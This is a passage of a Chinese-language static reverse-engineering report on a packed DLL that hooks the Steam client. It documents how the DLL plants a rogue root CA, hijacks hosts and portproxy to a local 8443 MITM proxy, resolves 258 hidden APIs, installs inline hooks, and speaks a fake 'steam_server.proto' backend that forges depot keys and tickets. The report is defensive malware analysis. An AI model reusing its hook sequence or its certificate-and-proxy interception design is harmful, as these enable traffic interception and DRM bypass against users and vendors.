<p><strong><code>sub_29400</code>（总编排函数）</strong> —— 按以下顺序调用所有&quot;上线&quot;步骤：</p><pre class=""><code class="">sub_21eb0        → §4 中观察到的 portproxy 安装（cmd.exe /c netsh ...）
sub_23650/23400  → §12.5 的根 CA 安装路径
lea rdx, &quot;DCS Root CA G2&quot; + sub_42430 + sub_23420
                 → 对安装好的证书设置 CERT_FRIENDLY_NAME_PROP_ID = &quot;DCS Root CA G2&quot;
lea rax, &quot;\.steam_restart_flag&quot; + sub_41d20
                 → 写入标记文件，触发 Steam 重启并应用新配置
</code></pre>
<p>至此 §9.11 表格中 <code>安装的根证书具体属性</code> 一项由 ✗ 转为 ✓——该证书被安装至 <code>ROOT</code> store（即 <code>LocalMachine\Root</code>），通过 <code>CertFindCertificateInStore</code> 按 CN 去重以避免重复安装，最后由 <code>CertSetCertificateContextProperty</code> 设置 friendly name 为 <code>DCS Root CA G2</code>。<strong>与 §11 在 <code>Cert:\LocalMachine\Root</code> 观察到的注册表记录完全一致</strong>。</p><h3 id="126-gbk-">12.6 作者画像补充：GBK 中文格式串</h3><p>§8 的 PDB 路径 <code>F:入库内核\Steam\x64\Release\hid.pdb</code> 已揭示作者使用中文。脱壳镜像中可见一条更直接的证据：</p><pre class=""><code class="">file offset 0x3717a0:
  hex: c4 bf b1 ea d3 f2 c3 bb 3a 20 00 00 ...
  GBK: &quot;目标域名: &quot;
</code></pre>
<p>这是一条运行时格式串（推测对应 <code>&quot;目标域名: %s\n&quot;</code> 之类的 <code>printf</code>），表明 stage-2 内部存在 GBK 编码的日志/输出路径——作者本人在调试期间使用的是中文 GBK 而非 UTF-8。结合 PDB 中的&quot;入库内核&quot;字样，可勾勒出一份典型的中国大陆 Windows 开发者技术栈画像（MSVC + GBK locale），将工具链归属定位至中文灰产生态而非英文/俄语黑产生态。</p><h3 id="127-">12.7 脱壳后镜像版图</h3><p>§9.10 静态版图中被 strip 的若干节，在脱壳镜像中可直接观察其内容。下面给出脱壳后的视图：</p><pre class=""><code class="">┌──────────────────────────────────────────────────────────────────────────┐
│ 脱壳后 stage-2 镜像 8.16 MB （re/stage2_unpacked.bin）                    │
│                                                                          │
│ rva 0x001000..0x328000   第一段 .text + .rdata + .data （已脱壳）         │
│   ├─ rva 0x21eb0  sub_21eb0  portproxy install (cmd /c netsh)           │
│   ├─ rva 0x23200  sub_23200  root CA install (PEM 解码+ store 写入)      │
│   ├─ rva 0x29400  sub_29400  总编排：portproxy → cert → restart_flag    │
│   ├─ rva 0x2cb80  loadLib    导出入口（从 TLS callback / stage-1 都进）  │
│   ├─ rva 0x35cb80 DH params  TLS 用                                     │
│   ├─ rva 0x36fae0 叶证书 PEM  CN=srv01.codefusion.technology            │
│   ├─ rva 0x370610 RSA 私钥 PEM 与叶证书 pubkey MD5 完全匹配             │
│   ├─ rva 0x37012e/0x370d30 自签根 CA PEM × 2 副本                       │
│   ├─ rva 0x371450 &quot;Digital Certificate Services Root CA&quot; (u16)         │
│   ├─ rva 0x3714a0 &quot;DCS Root CA G2&quot; (asc)                               │
│   ├─ rva 0x3717a0 &quot;目标域名: &quot; (GBK)                                   │
│   ├─ rva 0x372260 6 槽 SNI 服务器档案表（指向同一对叶证书+私钥）         │
│   └─ rva 0x54f647-0x54f6fb Cert* API 名字符串表（运行时 GetProcAddress）│
│                                                                          │
│ rva 0x328000..0x3eb000   第二段 .rdata + .data （已脱壳）                │
│   ├─ Cert/Steamworks/protobuf 字符串区                                  │
│   ├─ CMsgGatewayHookRequest / CMsgCdkActiveResponse 等 protobuf 字段名  │
│   └─ MIGHAoGB... base64（叶证书公钥）等                                 │
│                                                                          │
│ rva 0x563000..0x826200   原 .text/调度区（与 §9.10 一致，未变）           │
│ rva 0x827000..0x8290F8   .data/.reloc/.rsrc                              │
└──────────────────────────────────────────────────────────────────────────┘
</code></pre>
<h3 id="128-">12.8 静态分析能力矩阵更新</h3><p>将 §9.11 中的&quot;能/不能&quot;表格基于脱壳镜像重写，原表格中大部分 ✗ 项目可被升级为 ✓：</p><table><thead><tr><th> 想知道的事 </th><th> 旧（§9.11） </th><th> 新（脱壳后） </th><th> 凭据 </th></tr></thead><tbody><tr><td> 真实的 import 调用位置 </td><td> ✗ </td><td> ✓ TLS callback 内按名 GetProcAddress 解析 </td><td> §12.2 字符串表中的 <code>Cert*</code> / <code>Loader*</code> 等 API 名 </td></tr><tr><td> stage-2 出站 HTTPS 的目标域 </td><td> ✗ </td><td> ✓ 6 个 C2 域名明文 </td><td> <code>srv01-03.codefusion.technology</code> + <code>srv01-03.antitamper.net</code> 全部以字符串形式存在 </td></tr><tr><td> 8443 端口上的协议格式 </td><td> ✗ </td><td> ✓ 完整 <code>steam_server.proto</code> schema </td><td> §12.11 完整字段清单 </td></tr><tr><td> Steam 内被 hook 的具体函数 </td><td> ✗ </td><td> ✓ <code>GetDepotKey</code> / <code>GetTicket</code> / <code>GetEncryptTicket</code> / <code>ManifestAuth</code> </td><td> §12.11 hook 目标即 protobuf message 名 </td></tr><tr><td> 安装的根证书具体属性 </td><td> ✗ </td><td> ✓ ROOT store + <code>CERT_FRIENDLY_NAME_PROP_ID = &quot;DCS Root CA G2&quot;</code> </td><td> §12.5 反汇编 </td></tr><tr><td> 本地伪服务端 TLS 凭据来源 </td><td> — </td><td> ✓ 自带叶证书 + 匹配私钥，6 SNI 复用 </td><td> §12.3、§12.4 </td></tr><tr><td> 作者使用语言 </td><td> 推断中文 </td><td> ✓ 确证 GBK </td><td> §12.6 &quot;目标域名:&quot; 格式串 </td></tr></tbody></table><p><strong>核心结论</strong>：§11 在系统层面观察到的所有外部状态（hosts、证书、portproxy、<code>Cert:\LocalMachine\Root</code> 内的根证书）在脱壳的二进制中均可定位至对应的安装代码、字符串与资产。整条链由&quot;系统状态指证&quot;升级为&quot;二进制层面闭环&quot;。<strong>该工具不依赖任何在线签发或运行时下载，所有 MITM 装备均内置于样本中——自安装时刻起，其行为面即是确定、自洽、可离线分析的</strong>。</p><h3 id="129-loadlib-">12.9 <code>loadLib</code> 的真实职能：线程派生器而非业务入口</h3><p>脱壳前的工作假设是 <code>loadLib</code>（导出 RVA 0x2cb80）即为恶意逻辑入口。脱壳后反汇编显示，该函数体仅 ~120 字节：</p><pre class=""><code class="">sub_2cb80 (loadLib):
  sub  rsp, 0x58
  mov  ecx, 1
  call sub_2d4e10               ; rax = 创建一个 C++ 对象（thread 参数）
  lea  rcx, [rsp + 0x38]         ;
  mov  r9, rax                   ; arg4 = 对象
  mov  [rsp + 0x28], rcx         ; arg6 = &amp;thread_id
  lea  r8, [rip + 0x87ee]        ; arg3 = sub_35390 (函数指针)
  xor  ecx, ecx                  ; arg1 = NULL
  mov  [rsp + 0x20], 0           ; arg5 = 0 (creation flags)
  xor  edx, edx                  ; arg2 = 0 (stack size)
  call sub_2ec20c                ; ← _beginthreadex
  test rax, rax                  ; 失败就 int3 panic
  je   ...
  add  rsp, 0x58
  ret                            ; ★ 立即返回 stage-1
</code></pre>
<p><code>sub_2ec20c</code> 反汇编后符合 MSVC CRT 的 <code>_beginthreadex</code> 标准实现——含 errno=EINVAL 错误路径、<code>invalid_parameter_handler</code>，末端通过 <code>call qword ptr [rip + 0x3c24e]</code> 调用运行时解析的 <code>KERNEL32.CreateThread</code>，结构完全符合 MSVC 参考实现。</p><p>线程入口 <code>sub_35390</code> 仅 22 条指令——为 MSVC CRT 的 thread trampoline（先完成两次 CRT TLS 初始化，再调用 <code>sub_2d4e08(param, 1)</code> 进入用户线程函数）。<code>sub_2d4e08</code> → jmp <code>sub_23b0</code> → jmp <code>sub_2e6720</code> → jmp <code>sub_2f4df0</code>，经多层 <code>/Gy</code> 函数级链接 thunk 之后到达真正的业务代码：</p><pre class=""><code class="">sub_2f4df0 (真正的 worker 入口):
  test rcx, rcx
  je   ret                       ; param == NULL 直接退
  mov  r8, rcx
  xor  edx, edx
  mov  rcx, qword ptr [rip+0xee94a]   ; rcx = 全局对象 ptr  (运行时填好)
  call qword ptr [rip+0x33314]        ; ★ 走运行时填好的函数指针表
</code></pre>
<p>末端的 <code>call [rip+0x33314]</code> 为 C++ 虚函数派发——脱壳镜像中该指针槽已被运行时填入系统 DLL 地址空间的指针（<code>0x7ffc8...</code>），全局对象 ptr 槽指向堆上的对象（<code>0x000001ee14910000</code>）。</p><p>由此可断定 <strong><code>loadLib</code> 的全部行为为：派生一个 worker 线程并立即返回 stage-1</strong>。stage-1 在 <code>call rax</code> 返回后即认定任务完成，正常退出 DllMain；worker 线程则在 Steam 进程后台执行所有后续业务逻辑，主调用栈上不显示任何异常迹象。</p><h3 id="1210-c-">12.10 关键函数无静态调用者的成因：C++ 虚函数派发表的运行时填充</h3><p>§12.5 反汇编了证书安装编排函数 <code>sub_293d0</code>（直接调用 portproxy install、root CA install、写入 <code>.steam_restart_flag</code> 等）。然而对脱壳镜像扫描所有 <code>E8 disp32</code> / <code>FF 15</code> / qword 指针引用后，<strong><code>sub_293d0</code> 拥有 0 个静态调用者</strong>。<code>sub_2cb80</code>（<code>loadLib</code> 导出）同样<strong>无静态调用者</strong>——但 <code>loadLib</code> 作为外部导出可以解释；而 <code>sub_293d0</code> 完全是内部函数，<strong>无任何机器码直接指向它</strong>。</p><p>该现象并非脱壳过程的遗漏——VMProtect runtime 与 C++ 全局对象初始化在运行时将所有关键函数指针填入 <code>.data</code>/<code>.rdata</code>：</p><ul><li>TLS callback <code>sub_565de0</code> 在 DLL 加载时首先执行，通过动态解析（<code>LoadLibraryExW</code> + 私有的 <code>GetProcAddressByName</code>）将所有 Windows API 填入 <code>.rdata</code> 的函数指针槽；</li><li>同时将 C++ 全局对象（如 <code>0x1ee14910000</code> 这类堆指针）的虚表完成填充；</li><li>用户线程 <code>sub_2f4df0</code> 运行时，从这些已填充的槽中读取 <code>(this, method_ptr)</code> 对，直接 <code>call</code>。</li></ul><p>由此可知，脱壳镜像中 <code>sub_293d0</code> 无 caller 的现象属<strong>有意为之的反静态分析手段</strong>——VMProtect 不仅加密代码区，还<strong>将 C++ 虚函数派发的方法表迁移至由壳在运行时填回的槽</strong>。从静态层面回答&quot;谁调用了 <code>sub_293d0</code>&quot;，必须先在动态调试中 step through TLS callback，将所有运行时填好的函数指针槽 dump 出来，再做交叉引用。</p><p>该现象提示一项可复用的逆向方法论：<strong>关键函数 0 静态 caller 时，不应怀疑函数本身或脱壳质量，而应转向 dump 函数指针表</strong>——<code>.rdata</code> 内由壳在运行时填充的 qword 槽即&quot;从加密区通向脱壳后明文区&quot;的入口。</p><p>补充印证：直接反汇编 TLS callback <code>sub_565de0</code> 本体（其首条指令即 <code>call sub_8249d0</code> 跳入 <code>.text</code> 末段的低熵调度区），输出如下：</p><pre class=""><code class="">pushfq                              ; 1. 保存 EFLAGS
add  rbp, 0x6f                      ; 2. 对 rbp 做无意义算术
popfq                               ; 3. 还原 EFLAGS
lea  rbp, [rbp - 0x6f]              ; 4. 净效应：rbp 不变
pushfq
push rdi
mov  rdi, qword ptr [rsp + 8]
lea  rdi, [rdi + 0x19]
xchg qword ptr [rsp + 8], rdi       ; 5. 一串栈位置交换混淆
mov  qword ptr [rsp + 8], rdi
mov  rdi, qword ptr [rsp]
lea  rsp, [rsp + 8]
call $+5                            ; 6. push next-IP 到栈顶
add  qword ptr [rsp], -0x5aa        ; 7. 修改栈上 IP
... 远处某个 ret 跳到 IP+(-0x5aa) ...
</code></pre>
<p>该序列是 <strong>VMProtect mutation pattern</strong> 的典型样式——每条语义操作被封装为&quot;flag-save / dummy-math / flag-restore + 栈位置交换 + 计算跳转&quot;链，指令膨胀 5–10 倍，且无任何可识别的 API 名或字符串引用。<strong>TLS callback 的实际语义（按名解析 258 个 Windows API、填充 0x328000 函数指针表、构造 C++ 全局对象、安装 vtable）均被压在该 mutation 层下</strong>——这正是上一段所指&quot;TLS callback 是从加密区通向明文区的入口&quot;的执行体本身。完整解出该层需要 IDA + VMP mutation 解算器或动态 step through，超出本次静态分析范围。</p><h3 id="1211--steamserverproto-">12.11 关键发现：完整的 <code>steam_server.proto</code> 伪后端协议</h3><p>§10 在 Steam dump 中观察到的 <code>CMsgGatewayHookRequest</code>、<code>CMsgCdkActiveResponse</code>、<code>GetDepotKey</code>、<code>GetTicket</code>、<code>ManifestAuth</code> 等符号并非孤立字符串。脱壳镜像中<strong>这些符号全部位于一份 protobuf <code>FileDescriptorProto</code> blob 中</strong>：</p><pre class=""><code class="">.proto 文件名（嵌在 protobuf descriptor 头）   文件偏移       性质
steam_api.proto                               0x349ed2     Steam 公开协议（合法存在）
steam_cloud.proto                             0x34ed72     Steam Cloud 协议（合法存在）
steam_server.proto                            0x34f802     ★ 恶意软件自己的 wire 协议 ★
</code></pre>
<p>第三项 <code>steam_server.proto</code> 即该工具<strong>自定义</strong>的伪 Steam 后端协议。在脱壳镜像中以序列化 <code>FileDescriptorProto</code> 形式整段嵌入（这解释了 §12.2 中 <code>CMsgGatewayHookRequest</code> 等单个 message 名扫描不到任何 LEA xref 的原因——这些名字位于 descriptor blob 的内嵌字节中，并非独立 C 字符串）。完整的 message 清单：</p><pre class="language-protobuf lang-protobuf"><code class="language-protobuf lang-protobuf">// 应用层加密层
message CMsgEncrypt {
    bytes  key_decrypt = ...;
    bytes  iv_decrypt  = ...;
}
message CMsgEncryptedHeader {
    uint32 protobuf_id        = ...;   // 内层 message 类型 ID
    bool   crypto_compressed  = ...;
    CMsgEncrypt crypto        = ...;
    bytes  encrypted_body     = ...;   // 内层 message 加密后的字节
}

// 业务消息
message CMsgGetAppListRequest  { fixed64 steam_id; int64 timestamp; }
message CMsgGetAppListResponse {
    EProtoResult result;
    message AppListResponse {
        uint32 appid;
        repeated DepotList depots;
    }
    message DepotList {
        uint32 depot_id;
        bool   denuvo;            // ← 这款游戏是否有 Denuvo
        bool   patch, update, appinfo, online;
    }
}
message CMsgGetDepotKeyRequest      { uint32 appid; uint32 depot_id; int64 timestamp; }
message CMsgGetDepotKeyResponse     { EProtoResult result; uint32 depot_id; bytes depot_key; }
                                                          // ★ Steam 内部 GetDepotKey 的拦截点

message CMsgGetTicketRequest        { uint32 appid; bool online; int64 timestamp; }
message CMsgGetTicketResponse       { EProtoResult result; bytes auth_session_ticket; bytes ticket; }
                                                          // ★ GetTicket 的拦截点

message CMsgManifestAuthRequest     { uint32 app_id; uint32 depot_id; uint64 manifest_id;
                                       string app_branch; bytes branch_password_hash; int64 timestamp; }
message CMsgManifestAuthResponse    { EProtoResult result; }
                                                          // ★ Manifest 鉴权拦截

message CMsgGetEncryptTicketRequest {
    fixed64 steam_id; uint32 appid; bytes machine_id;
    message HttpHeader { string name; bytes value; }
    repeated HttpHeader headers;
    int64 timestamp;
}
message CMsgGetEncryptTicketResponse{ EProtoResult result; uint32 appid; bytes ticket;
                                       bytes encrypted_result; uint64 replace_id; }
                                                          // ★ GetEncryptTicket 拦截

message CMsgCdkActiveRequest        { fixed64 steam_id; int64 timestamp; }
message CMsgCdkActiveResponse       { EProtoResult result; uint32 appid; uint32 status; }
                                                          // ★ 用户输入 CDK 时走的&quot;激活&quot;路径

message CMsgGatewayHookRequest      { uint32 steam_client_size; uint32 hook_type;
                                       int64 timestamp; uint32 kernel_size; }
message CMsgGatewayHookResponse     { int32 code; ... }
                                                          // 心跳/版本协商：告知 C2
                                                          //   - Steam 客户端版本/大小
                                                          //   - hook 内核版本/大小
</code></pre>
<p>将上述协议串联后，伪 Steam 后端的实际数据流可被完整描绘：</p><pre class=""><code class="">┌─ Steam.exe 内部调用 GetDepotKey / GetTicket / ManifestAuth / GetEncryptTicket
│  （正常情况下这些调用通过 Steamworks 后端连接 Valve 服务器获取结果）
│
├─ 被 stage-2 安装的 hook 拦截
│   ↓ hook 通过 dbghelp.SymFromAddr 跨 Steam 版本按符号定位（§9.3 已埋下伏笔）
│   ↓ 不依赖偏移硬编码，Steam 升级后仍能保持有效
│
├─ 拦截后构造 protobuf：CMsgGetDepotKeyRequest / CMsgGetTicketRequest / ...
│   ↓ 由 CMsgEncryptedHeader { protobuf_id, crypto, encrypted_body } 包装一层应用层 AES
│   ↓ 即使外层 TLS 被 MITM，内层 protobuf 仍为密文（应用层加密）
│
├─ 经 winhttp（IAT 槽 0x8275e0）发往 srv01.codefusion.technology:443
│   ↓ hosts 将该域名指向 127.0.0.1
│   ↓ portproxy 将 127.0.0.1:443 转发至 127.0.0.1:8443
│
├─ Steam 进程内由 stage-2 启动的 8443 监听 socket 接受连接
│   ↓ 使用 §12.3 提取的叶证书与匹配私钥终结 TLS（合法证书链：叶证书由 DCS Root CA G2 签发，
│     根 CA 在 §12.5 被植入 LocalMachine\Root，Steam 视该链为有效）
│   ↓ 解开 CMsgEncryptedHeader 后得到 CMsgGetDepotKeyRequest
│
├─ 本地伪后端构造 CMsgGetDepotKeyResponse
│   ↓ depot_key 为伪造值（Steam 后续使用其&quot;解密&quot;已被 stage-2 替换的本地 depot 内容）
│   ↓ 经 CMsgEncryptedHeader 再次加密形成回包
│
└─ Response 沿原路径返回 → hook 函数将 protobuf 反序列化得到 depot_key →
   返回给 Steam，Steam 视其为与 Valve 服务器正常通信后获得的合法 depot_key
   → 进入&quot;游戏可用&quot;分支
</code></pre>
<p><code>CMsgGetAppListResponse</code> 中的 <code>denuvo / patch / update / appinfo / online</code> 标志位提供了关键的语义信号——<strong>该工具携带一整张游戏库元数据表</strong>，每款游戏均标注&quot;是否启用 Denuvo、最新补丁版本、是否支持联机&quot;。这表明该工具并非针对单游戏的 hack 实现，而是面向整个游戏库的产业链工具——C2 后端持续维护每款 Steam 游戏的可激活/可联机状态，客户端通过 <code>CMsgGetAppListResponse</code> 拉取后向终端用户展示。</p><p><strong>这是从静态二进制中能获得的最高精度描述</strong>：先前结论&quot;该工具伪造 Steam Steamworks 通信&quot;现可被精确为<strong>逐字段、逐 message 的伪 Steam 后端协议清单</strong>。<code>AppListResponse.denuvo</code> 字段进一步证实该 C2 后端<strong>专门维护 Denuvo 状态</strong>，与 §11 将 <code>srv*.codefusion.technology</code> 归入 Denuvo/Codefusion 反篡改&quot;伪服务器&quot;的定性结论完全吻合。</p><h3 id="1212-258--windows-api-">12.12 258 个 Windows API 的运行时解析表</h3><p>§9.3 已确认磁盘 IAT 仅含 11 个槽、§9.5 已确认这 11 个槽存在 0 个静态调用站点——意味着真实的 Windows API 调用必须经由另一套机制完成。脱壳镜像揭示了该机制：</p><p><strong>名字表 @ 0x54e4d0 + 指针表 @ 0x54f768</strong>：DLL 名字符串与 API 名字符串成对存在于 <code>.rdata</code> 中，由一张 275 项的 qword 指针表索引（含 NULL 作为 DLL 边界分隔符），每个 qword 指向标准 PE <code>IMAGE_IMPORT_BY_NAME</code> 结构（2-byte Hint + 名字 + null）。</p><p><strong>解析后的函数指针表 @ 0x328000</strong>：与名字表一一对应，共 258 个 qword 槽；<strong>TLS callback 在 DLL 加载时按名/序号调用 <code>LoadLibraryExW</code> + <code>GetProcAddress</code> 将每个 Windows API 的运行时地址（<code>0x7ffc_xxxxxxxx</code> 用户态 DLL 地址空间）填入</strong>。脱壳镜像捕获了该表填好后的状态快照。</p><p>按 DLL 分组后的完整分布：</p><table><thead><tr><th> DLL </th><th style="text-align:right"> API 数 </th><th> 关键 API 节选 </th></tr></thead><tbody><tr><td> <strong>kernel32.dll</strong> </td><td style="text-align:right"> 196 </td><td> <code>OpenThread / SuspendThread / ResumeThread / GetThreadContext / SetThreadContext / VirtualProtect / FlushInstructionCache / Thread32First / Thread32Next / CreateToolhelp32Snapshot / K32EnumProcessModules / ReadProcessMemory / IsBadReadPtr / VirtualQueryEx / LoadLibraryExW / GetProcAddress / MessageBoxA</code> ... </td></tr><tr><td> <strong>user32.dll</strong> </td><td style="text-align:right"> 2 </td><td> <code>MessageBoxA, GetForegroundWindow</code> </td></tr><tr><td> <strong>advapi32.dll</strong> </td><td style="text-align:right"> 12 </td><td> <code>RegOpenKeyExA / RegQueryValueExA / RegCloseKey</code>（读 Steam 注册表）；<code>OpenProcessToken / GetTokenInformation</code>（提权检查）；<code>CryptAcquireContextA / CryptCreateHash / CryptHashData / CryptGetHashParam / CryptDestroyHash</code>（<strong>完整性 hash</strong>——<code>CMsgGatewayHookRequest.kernel_size/steam_client_size</code> 字段用到的）；<code>GetUserNameA</code> </td></tr><tr><td> <strong>shell32.dll</strong> </td><td style="text-align:right"> 4 </td><td> <code>ShellExecuteA / ShellExecuteExA / SHGetSpecialFolderPathA / SHGetKnownFolderPath</code> </td></tr><tr><td> <strong>ole32.dll</strong> </td><td style="text-align:right"> 1 </td><td> <code>CoTaskMemFree</code> </td></tr><tr><td> <strong>bcrypt.dll</strong> </td><td style="text-align:right"> 1 </td><td> <code>BCryptGenRandom</code> </td></tr><tr><td> <strong>winhttp.dll</strong> </td><td style="text-align:right"> 13 </td><td> 完整 WinHTTP 客户端：<code>WinHttpOpen / Connect / OpenRequest / SendRequest / ReceiveResponse / AddRequestHeaders / QueryHeaders / QueryDataAvailable / ReadData / CrackUrl / CloseHandle / SetOption / SetTimeouts</code> </td></tr><tr><td> <strong>ws2_32.dll</strong> </td><td style="text-align:right"> 18 </td><td> <strong>全部以 ordinal 形式导入</strong>（无字符串）：<code>socket(#116) / bind(#2) / listen(#13) / accept(#1) / connect(#3) / send(#19) / recv(#16) / sendto(#20) / recvfrom(#17) / closesocket(#9) / setsockopt(#21) / WSAStartup(#111) / WSACleanup(#10) / WSAGetLastError(#115) / htons(#23) / ntohs(#15)</code>+ <code>inet_pton / inet_ntop</code>（这两个按名） </td></tr><tr><td> <strong>crypt32.dll</strong> </td><td style="text-align:right"> 8 </td><td> <code>CertOpenStore / CertCloseStore / CryptStringToBinaryA / CertCreateCertificateContext / CertFindCertificateInStore / CertFreeCertificateContext / CertAddCertificateContextToStore / CertSetCertificateContextProperty</code> </td></tr><tr><td> <strong>dnsapi.dll</strong> </td><td style="text-align:right"> 2 </td><td> <code>DnsFree / DnsQuery_W</code> </td></tr><tr><td> <strong>dbghelp.dll</strong> </td><td style="text-align:right"> 1 </td><td> <code>SymFromAddr</code>（PDB 符号解析） </td></tr></tbody></table><p><strong>合计 258 个 API，相较于静态 IAT 的 11 个</strong>——隐藏 import 放大比达 23×。</p><p>kernel32 表中下列函数组合尤其关键：</p><pre class=""><code class="">OpenThread → SuspendThread → GetThreadContext → VirtualProtect →
ReadProcessMemory → 修改字节 → FlushInstructionCache →
SetThreadContext → ResumeThread
</code></pre>
<p>该序列即<strong>标准的 manual inline hook 安装序列</strong>——配合 <code>dbghelp.SymFromAddr</code>（按 PDB 符号定位目标函数）与 <code>K32EnumProcessModules</code> / <code>Thread32First/Next</code> / <code>CreateToolhelp32Snapshot</code>（枚举 Steam 模块与线程），构成完整的 hook 安装流水线：</p><pre class=""><code class="">1. CreateToolhelp32Snapshot + Thread32First/Next  → 枚举 Steam 所有线程
2. OpenThread + SuspendThread                     → 暂停目标线程（避免其正好执行至待 patch 字节）
3. K32EnumProcessModules + GetModuleHandleW       → 定位 steamclient64.dll / steamui.dll / tier0_s64.dll 模块基址
4. SymFromAddr                                    → 按 PDB 符号名定位每个 hook 目标的运行时地址
5. VirtualProtect(PAGE_EXECUTE_READWRITE)         → 解除目标页的写保护
6. ReadProcessMemory + 改字节                     → 安装 jmp 跳板至 hook handler
7. FlushInstructionCache                          → 使 CPU 看到新代码
8. ResumeThread                                   → 唤醒线程
</code></pre>
<p><code>SymFromAddr</code> 的调用站点在全文件<strong>仅存在 1 处（rva 0x2b595）</strong>——通过 <code>SymFromAddr(hProcess, address, &amp;disp, &amp;SymbolInfo)</code> 实现&quot;按地址查符号名&quot;——配合 PDB 信息将 Steam 内部函数定位至具体地址。这正是 §9.3 中&quot;该样本能跨多个 Steam 客户端版本工作&quot;的精确机制：Steam 升级后函数地址变化，但 PDB 符号名保持稳定，hook 安装代码通过 <code>SymFromAddr</code> 重新定位即可适配。</p><p><strong>ws2_32 全部以 ordinal 形式导入而不留 API 名字符串</strong>为另一项反静态分析细节——<code>grep</code> 搜索 &quot;socket&quot; / &quot;bind&quot; / &quot;accept&quot; 等关键字将得到 0 结果，因这些 API 名从未以字符串形式出现于二进制中。仅在定位至 0x54ff30 起的 ordinal 表之后，方可反推其名称。</p><h3 id="1213-8443--mitm-bind--listen--accept--connect-">12.13 8443 端 MITM 代理：bind / listen / accept / connect 集中于同一函数</h3><p>ws2_32 的 18 个 API 集中调用点位于 rva 0x20200–0x20800 区间共数百字节——一段紧凑的 socket 服务函数体：</p><pre class=""><code class="">[loop top] @ 0x203b0          ; for each entry in server_profile_table（§12.4 的 6 槽）：
    sockaddr_in 清零
    sin_family = AF_INET (= 2)
    htons(port)               ; port 从 config 结构的 +4 偏移读
@ 0x203d6:  call bind
@ 0x203fe:  call listen
@ 0x2043a:  call accept       ; 阻塞等连接
@ 0x20449:  call recv         ; 读 client 发来的字节
              ... 处理 ...
@ 0x20563:  call connect      ; ★ 同一函数内同时执行 accept 与 connect ★
              ... 上游 ...
@ 0x207ae:  call recv         ; 读上游响应
@ 0x2030b:  call send         ; 将响应回写至 client
</code></pre>
<p><code>bind / listen / accept</code> 与 <code>connect</code> 出现于同一函数——这是 <strong>MITM 代理的标志性结构</strong>：本地端口接受客户端连接，同时主动 connect 至上游（真实或伪造的远端），中间完成拼接和篡改。该结构配合 §12.3 的叶证书 + 匹配私钥（用于在 8443 端终结 client 的 TLS 握手）、§12.4 的 6 槽 SNI 服务器档案表（决定客户端连接的目标域）、§12.5 安装的根 CA（使 client 信任叶证书）——本地伪 HTTPS 后端的完整代码路径已全部映射至具体 RVA。</p><p>端口号 <strong>8443</strong>（= <code>0x20fb</code>）并不直接出现于 bind 调用点，而是通过 server config 结构传入：</p><pre class=""><code class="">@ 0x1eb80: ServerConfig 的构造函数
  ...
@ 0x1ebbc: mov byte ptr [rcx], 0
@ 0x1ebbf: mov qword ptr [rcx + 4], 0x20fb     ; config.listen_port = 8443
@ 0x1ec05: mov word ptr [rax + 0x18], 0x101    ; 另一状态字段
@ 0x1ebf0: mov ecx, 0x390                       ; 分配 0x390 字节对象
@ 0x1ebf5: call sub_2d4e10                      ; 内部分配器
  ...
</code></pre>
<p>bind 调用时 <code>sin_port = htons(config.listen_port)</code>——8443 经 config 字段中转至 socket。该端口以可配置字段形式存储，表明作者预留了&quot;修改端口&quot;的扩展能力（若 8443 与 Steam 自带端口冲突检查发生命中，只需修改配置即可继续运行）。</p><h3 id="1214-">12.14 静态分析剩余的盲区</h3><p>本节已穷尽脱壳镜像中可通过静态手段获取的全部结论。下列问题在静态层面无法进一步推进：</p><table><thead><tr><th> 仍未解决的问题 </th><th> 静态分析的边界 </th><th> 推荐的动态分析手段 </th></tr></thead><tbody><tr><td> TLS callback 向 0x328000 表写入 API 地址的具体时序 </td><td> §12.10、§12.12 — 被 VMProtect mutation 包裹 </td><td> 动态 step through TLS callback </td></tr><tr><td> hook 实际安装至 Steam 哪些具体函数 </td><td> <code>SymFromAddr</code> 唯一调用站点（0x2b595）周围被 VMP mutation 噪声覆盖，参数无法提取 </td><td> 在 Steam 进程下断点，读取 <code>PSYMBOL_INFO.Name</code> </td></tr><tr><td> <code>CMsgEncrypt.key_decrypt / iv_decrypt</code> 的密钥派生路径 </td><td> AES 密钥派生代码很可能位于加密区 </td><td> 监控 <code>BCryptGenRandom</code> + <code>CryptHashData</code> 调用序列 </td></tr><tr><td> 8443 应用层协议字段的精确语义 </td><td> 协议定义已于 §12.11 获取，但状态机/失败重试逻辑位于加密代码区 </td><td> 在 8443 端实施 socket-level 抓包 </td></tr><tr><td> 6 个 C2 域名背后是否共用同一后端实例 </td><td> hosts 已全部劫持至 127.0.0.1，无法直连验证 </td><td> 在隔离环境下还原 hosts，捕获原始上游 IP </td></tr></tbody></table><p><strong>结论</strong>：从最初&quot;Steam 卡顿&quot;的现象出发，最终在样本内获取到下列结论：作为伪 Steam 后端的逐字段 protobuf schema、伪造的 Codefusion CA 根证书与叶证书及其匹配私钥、根 CA / portproxy / hosts 改写的具体调用图、258 项动态 API 解析表中精确的 manual inline hook 套件、本地 8443 代理服务的代码位置。这是仅依靠静态分析所能到达的极限；进一步的细化结论必须依赖 Steam 进程内的动态断点与系统交互的实时行为监控。</p><h3 id="1215-">12.15 本节产出的工程脚本</h3><pre class=""><code class="">re/34_extract_certs.py           §12.3   抓 PEM/PEM 私钥 → DER
re/35_cert_xrefs.py              §12.4   定位证书 PEM/API 名的 LEA + QWORD 引用
re/36_disasm_cert_install.py     §12.5   反汇编 sub_23200 / sub_293d0 区域
re/37_callgraph.py               §12.10  直接调用图（确认 sub_293d0 0 caller）
re/38_disasm_loadLib_and_orch.py §12.9   反汇编 loadLib + 完整 orchestrator
re/39_disasm_worker.py           §12.9   确认 sub_2ec20c = _beginthreadex
re/40_steamworks_hook_xrefs.py   §12.11  定位 steam_server.proto schema
re/41_iat_callsites.py           §12.12  验证 11 个磁盘 IAT 槽 0 调用站点
re/42_indirect_callsites.py      §12.12  扫所有 FF15/FF25 间接调用，定位 0x328000 解析表
re/43_api_resolution_table.py    §12.12  解析 275 项名字 ptr 表 → 还原 258 个 API + DLL 边界
re/44_disasm_tls.py              §12.10  反汇编 TLS callback，确认 VMP mutation
re/45_disasm_8443_server.py      §12.13  反汇编 bind/listen/accept/connect 代理函数体
</code></pre>
